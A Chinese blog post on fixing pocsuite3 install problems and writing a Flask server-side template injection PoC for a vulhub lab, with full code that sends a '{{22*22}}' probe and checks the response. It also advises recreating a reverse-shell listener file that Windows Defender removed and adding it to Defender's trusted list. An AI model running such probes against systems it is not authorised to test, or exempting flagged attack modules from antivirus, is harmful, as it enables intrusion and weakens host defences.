pocsuite的安装过程很简单,网上也有很多教程或者看github文档,就不在这赘述了,只记录下自己碰到的几个没在教程中看到的小问题。
Traceback (most recent call last):
File "d:\python\lib\runpy.py", line 193, in _run_module_as_main
"__main__", mod_spec)
File "d:\python\lib\runpy.py", line 85, in _run_code
exec(code, run_globals)
File "D:\Python\Scripts\pocsuite.exe\__main__.py", line 4, in <module>
File "d:\python\lib\site-packages\pocsuite3\__init__.py", line 11, in <module>
from .cli import module_path
File "d:\python\lib\site-packages\pocsuite3\cli.py", line 12, in <module>
from pocsuite3.lib.core.option import init
File "d:\python\lib\site-packages\pocsuite3\lib\core\option.py", line 39, in <module>
from pocsuite3.modules.listener import start_listener
File "d:\python\lib\site-packages\pocsuite3\modules\listener\__init__.py", line 1, in <module>
from .reverse_tcp import handle_listener_connection
ModuleNotFoundError: No module named 'pocsuite3.modules.listener.reverse_tcp'
找到一篇文章提到是被windows Defender删除了
解决办法是去github找到该文件,在自己电脑上重新创建即可
创建后,将这个文件加入windows defender 信任文件中,就不会再被删除了
按照《python安全攻防》一书写的poc,但是书上内容没给全,浪费了很多时间找问题出在哪。
去github看官方文档,发现有一个细节很容易遗漏,就是注册类,如图来自官方文档
下面我贴一下《python安全攻防》在poc这里的完整的代码,希望能帮到跟我一样的同学,少浪费点时间在找乱七八糟的错误上。
用到的环境是vulhub flask下的ssti,如图访问8000端口
# poc代码如下
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD
from pocsuite3.lib.utils import random_str
class DemoPOC(POCBase):
#前面的各种说明内容是我瞎写的 就体会下用poc的感觉
vulID = '1111' # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0
version = '1' # 默认为1
author = 'likemeatl' # PoC作者的大名
vulDate = '2014-10-16' # 漏洞公开的时间,不知道就写今天
createDate = '2014-10-16' # 编写 PoC 的日期
updateDate = '2014-10-16' # PoC 更新的时间,默认和编写时间一样
references = [
'https://www.sektioneins.de/en/blog/14-10-15-drupal-sql-injection-vulnerability.html'] # 漏洞地址来源,0day不用写
name = 'SSTI PoC' # PoC 名称
appPowerLink = 'likemeatl.com' # 漏洞厂商主页地址
appName = 'flask/ssti' # 漏洞应用名称
appVersion = '7.x' # 漏洞影响版本
vulType = 'SSTI' # 漏洞类型,类型参考见 漏洞类型规范表
desc = '''
服务器端模板注入可以造成远程命令执行的危害
''' # 漏洞简要描述
samples = [] # 测试样列,就是用 PoC 测试成功的网站
install_requires = [] # PoC 第三方模块依赖,请尽量不要使用第三方模块,必要时请参考《PoC第三方模块依赖说明》填写
def _verify(self):
'''verify mode'''
result = {}
path = "/?name="
url = self.url + path
payload = "{{22*22}}"
# first req
try:
resq = requests.get(url + payload)
if resq and resq.status_code == 200 and "484" in resq.text:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = url
result['VerifyInfo']['Name'] = payload
except Exception as e:
pass
return self.parse_output(result)
def _attack(self):
return self._verify()
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail()
return output
#千万不能遗漏!!!
register_poc(DemoPOC)
使用pocsuite验证漏洞即可成功
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。